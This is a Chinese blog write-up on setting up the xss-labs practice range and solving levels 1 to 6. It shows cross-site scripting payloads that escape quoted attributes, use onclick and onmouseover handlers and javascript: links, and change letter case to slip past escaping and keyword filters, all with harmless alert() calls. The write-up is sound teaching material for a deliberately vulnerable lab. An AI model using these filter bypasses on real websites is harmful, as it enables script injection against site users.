xss-labs-master靶场环境搭建与1-6关解题思路

阿文、...

已于 2022-07-01 01:06:16 修改

阅读量721

点赞数 1

分类专栏： xss-labs-master 文章标签： xss 前端 javascript

于 2022-07-01 00:07:28 首次发布

本文链接：https://blog.csdn.net/weixin_50985113/article/details/125550442

版权

1 篇文章 0 订阅

订阅专栏

环境搭建

1、靶场地址
2、小皮面板
3、windows机器
4、把压缩包解压，放在www目录下，然后访问即可
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

直接输入就行：<script>alert('xss')</script>

在这里插入图片描述

"> <script>alert('xss')</script><"闭合前面同时也闭合后面的内容

在这里插入图片描述

使用上面的弹窗语句，发现被转义了
在这里插入图片描述
拿出函数后，发现双引号已经被注释成"

<input name="keyword" value="&quot;><script>alert(&quot;xss&quot;)</script><&quot;">

在这里插入图片描述
发现双引号被转义后，我们尝试使用单引号绕过，但是<又被转义了，我真的是服了

输入参数：'><script>alert('xss')</script><'
页面参数：<input name="keyword" value="" &gt;&lt;script&gt;alert('xss')&lt;="" script&gt;&lt;''="">

查看源码发现一个奇怪的参数
在这里插入图片描述

我们看看他的含义，发现就是转义函数
htmlspecialchars
在这里插入图片描述

换个参数，' onclick="alert('xxs') '，表示当用户点击方框后弹窗
在这里插入图片描述

他单引号转成双引号恰恰是我们需要的，改一下poc' onclick='alert(/xxs/) '
在这里插入图片描述

过！

当然，你也可以使用另一个事件绕过：'onmouseover='alert(/当鼠标悬停时弹窗/)'，同样的把单引号换成斜杠！
在这里插入图片描述

测试的时候建议本地搭建环境，只有本地能弹窗，靶场才可能弹窗
在这里插入图片描述

套用上面的代码，发现过不了
在这里插入图片描述
f12检查，发现前后两端是双引号，我们把单引号改成双引号试试

" οnclick="alert(/xxs/) "

点击方框后，成功过关
在这里插入图片描述

老规矩，吃老本
在这里插入图片描述
这里很奇怪啊，为什么会转义第一个字母，模糊测试试了一下。

看一下源码，这里匹配的很硬核啊
在这里插入图片描述

由于懒得折腾，<script>和on开头的函数我不会再用了，哈哈

我用a标签试试

"><a href=javascript:alert(1)>

点后面的括号，直接过！
在这里插入图片描述

老规矩，吃老本

"><a href=javascript:alert(1)>

在这里插入图片描述
这里的href被转义成了hr_ef，用大小写绕过

在这里插入图片描述

在这里插入图片描述
看看源码，多了两个匹配项目

关注

专栏目录